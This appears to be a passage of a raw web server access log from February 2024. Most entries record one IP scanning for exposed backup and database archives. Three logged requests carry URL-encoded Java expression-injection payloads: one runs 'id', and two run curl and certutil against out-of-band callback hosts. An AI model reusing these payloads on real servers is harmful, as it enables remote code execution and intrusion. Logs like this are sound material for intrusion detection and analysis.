"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:39 +0000] "GET /app.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:40 +0000] "GET /backup.sql.zip HTTP/1.1" 301 4187 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:41 +0000] "GET /backup_1.sql.zip HTTP/1.1" 301 4191 "-" "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:42 +0000] "GET /backup_2.sql.zip HTTP/1.1" 301 4191 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:43 +0000] "GET /backup_3.sql.zip HTTP/1.1" 301 4191 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:45 +0000] "GET /backup_4.sql.zip HTTP/1.1" 301 4191 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:46 +0000] "GET /backups.sql.zip HTTP/1.1" 301 4189 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:47 +0000] "GET /bin.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:48 +0000] "GET /temp.sql.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:49 +0000] "GET /bak.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:50 +0000] "GET /old.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:51 +0000] "GET /db.sql.zip HTTP/1.1" 301 4179 "-" "Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:53 +0000] "GET /sql.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:54 +0000] "GET /dump.sql.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:55 +0000] "GET /database.sql.zip HTTP/1.1" 301 4191 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:56 +0000] "GET /Release.sql.zip HTTP/1.1" 301 4189 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:58 +0000] "GET /inetpub.sql.zip HTTP/1.1" 301 4189 "-" "Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:18:59:59 +0000] "GET /temp.sql.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:19:00:00 +0000] "GET /package.sql.zip HTTP/1.1" 301 4189 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:19:00:01 +0000] "GET /tmp.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:19:00:03 +0000] "GET /db.sql.zip HTTP/1.1" 301 4179 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:19:00:04 +0000] "GET /data.sql.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:19:00:05 +0000] "GET /database.sql.zip HTTP/1.1" 301 4191 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:19:00:07 +0000] "GET /ftp.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:19:00:08 +0000] "GET /output.sql.zip HTTP/1.1" 301 4187 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:19:00:09 +0000] "GET /admin.sql.zip HTTP/1.1" 301 4185 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:19:00:11 +0000] "GET /upload.sql.zip HTTP/1.1" 301 4187 "-" "Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:19:00:12 +0000] "GET /src.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:19:00:13 +0000] "GET /conf/conf.sql.zip HTTP/1.1" 301 4193 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:19:00:14 +0000] "GET /old.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36" 0 - 102.37.141.247 - - [04/Feb/2024:19:51:22 +0000] "GET /Schemas/$%7B%27%27.class.forName%28%27javax.script.ScriptEngineManager%27%29.newInstance%28%29.getEngineByName%28%27js%27%29.eval%28%27java.lang.Runtime.getRuntime%28%29.exec%28%22id%22%29%27%29%7D HTTP/1.1" 404 37865 "-" "Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36" 4 - 102.37.141.247 - - [04/Feb/2024:20:32:05 +0000] "GET /hystrix/;a=a/__$%7BT%20%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22curl%20http://cmv1sj7s0kf4b71bvjm0zanwmiaiz6yqh.oast.site%22%29%7D__::.x/ HTTP/1.1" 301 4474 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36" 0 - 102.37.141.247 - - [04/Feb/2024:20:32:09 +0000] "GET /hystrix/;a=a/__$%7BT%20%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22certutil%20-urlcache%20-split%20-f%20http://cmv1sj7s0kf4b71bvjm0qdjctjye3iqa1.oast.site%22%29%7D__::.x/ HTTP/1.1" 301 4534 "-" "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:09:46 +0000] "GET /us4-sites.manageengine.com.zip HTTP/1.1" 301 4219 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F" 0 - 182.74.243.49 - - [04/Feb/2024:23:09:48 +0000] "GET /manageengine.com.zip HTTP/1.1" 301 4199 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:09:49 +0000] "GET /manageengine.zip HTTP/1.1" 301 4191 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:09:50 +0000] "GET /us4-sites.zip HTTP/1.1" 301 4185 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:09:51 +0000] "GET /2024.zip HTTP/1.1" 301 4175 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:09:52 +0000] "GET /ROOT.zip HTTP/1.1" 301 4175 "-" "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:09:53 +0000] "GET /wwwroot.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:09:54 +0000] "GET /htdocs.zip HTTP/1.1" 301 4179 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:09:55 +0000] "GET /www.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:09:57 +0000] "GET /html.zip HTTP/1.1" 301 4175 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F" 0 - 182.74.243.49 - - [04/Feb/2024:23:09:58 +0000] "GET /web.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:09:59 +0000] "GET /webapps.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:01 +0000] "GET /public.zip HTTP/1.1" 301 4179 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:02 +0000] "GET /public_html.zip HTTP/1.1" 301 4189 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:03 +0000] "GET /uploads.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:05 +0000] "GET /website.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:06 +0000] "GET /api.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:07 +0000] "GET /test.zip HTTP/1.1" 301 4175 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:08 +0000] "GET /app.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:09 +0000] "GET /backup.zip HTTP/1.1" 301 4179 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:10 +0000] "GET /backup_1.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:11 +0000] "GET /backup_2.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:13 +0000] "GET /backup_3.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:14 +0000] "GET /backup_4.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:15 +0000] "GET /backups.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:16 +0000] "GET /bin.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:18 +0000] "GET /temp.zip HTTP/1.1" 301 4175 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:19 +0000] "GET /bak.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:20 +0000] "GET /old.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:22 +0000] "GET /db.zip HTTP/1.1" 301 4171 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:23 +0000] "GET /sql.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:24 +0000] "GET /dump.zip HTTP/1.1" 301 4175 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:25 +0000] "GET /database.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:26 +0000] "GET /Release.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:28 +0000] "GET /inetpub.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:29 +0000] "GET /temp.zip HTTP/1.1" 301 4175 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:30 +0000] "GET /package.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:31 +0000] "GET /tmp.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:32 +0000] "GET /db.zip HTTP/1.1" 301 4171 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:34 +0000] "GET /data.zip HTTP/1.1" 301 4175 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:35 +0000] "GET /database.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:36 +0000] "GET /ftp.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:37 +0000] "GET /output.zip HTTP/1.1" 301 4179 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:38 +0000] "GET /admin.zip HTTP/1.1" 301 4177 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:39 +0000] "GET /upload.zip HTTP/1.1" 301 4179 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:40 +0000] "GET /src.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:41 +0000] "GET /conf/conf.zip HTTP/1.1" 301 4185 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36" 0 - 182.74.243.49 - - [04/Feb/2024:23:10:42 +0000] "GET /old.zip HTTP/1.1" 301 4173 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:02 +0000] "GET /us4-sites.manageengine.com.sql.zip HTTP/1.1" 301 4227 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:04 +0000] "GET /manageengine.com.sql.zip HTTP/1.1" 301 4207 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:05 +0000] "GET /manageengine.sql.zip HTTP/1.1" 301 4199 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:06 +0000] "GET /us4-sites.sql.zip HTTP/1.1" 301 4193 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:07 +0000] "GET /2024.sql.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:08 +0000] "GET /ROOT.sql.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:09 +0000] "GET /wwwroot.sql.zip HTTP/1.1" 301 4189 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:11 +0000] "GET /htdocs.sql.zip HTTP/1.1" 301 4187 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:12 +0000] "GET /www.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:14 +0000] "GET /html.sql.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:15 +0000] "GET /web.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:16 +0000] "GET /webapps.sql.zip HTTP/1.1" 301 4189 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:17 +0000] "GET /public.sql.zip HTTP/1.1" 301 4187 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:18 +0000] "GET /public_html.sql.zip HTTP/1.1" 301 4197 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:20 +0000] "GET /uploads.sql.zip HTTP/1.1" 301 4189 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:21 +0000] "GET /website.sql.zip HTTP/1.1" 301 4189 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:22 +0000] "GET /api.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:24 +0000] "GET /test.sql.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:25 +0000] "GET /app.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:26 +0000] "GET /backup.sql.zip HTTP/1.1" 301 4187 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:27 +0000] "GET /backup_1.sql.zip HTTP/1.1" 301 4191 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:29 +0000] "GET /backup_2.sql.zip HTTP/1.1" 301 4191 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:30 +0000] "GET /backup_3.sql.zip HTTP/1.1" 301 4191 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:32 +0000] "GET /backup_4.sql.zip HTTP/1.1" 301 4191 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:33 +0000] "GET /backups.sql.zip HTTP/1.1" 301 4189 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:34 +0000] "GET /bin.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 6.4; WOW64) 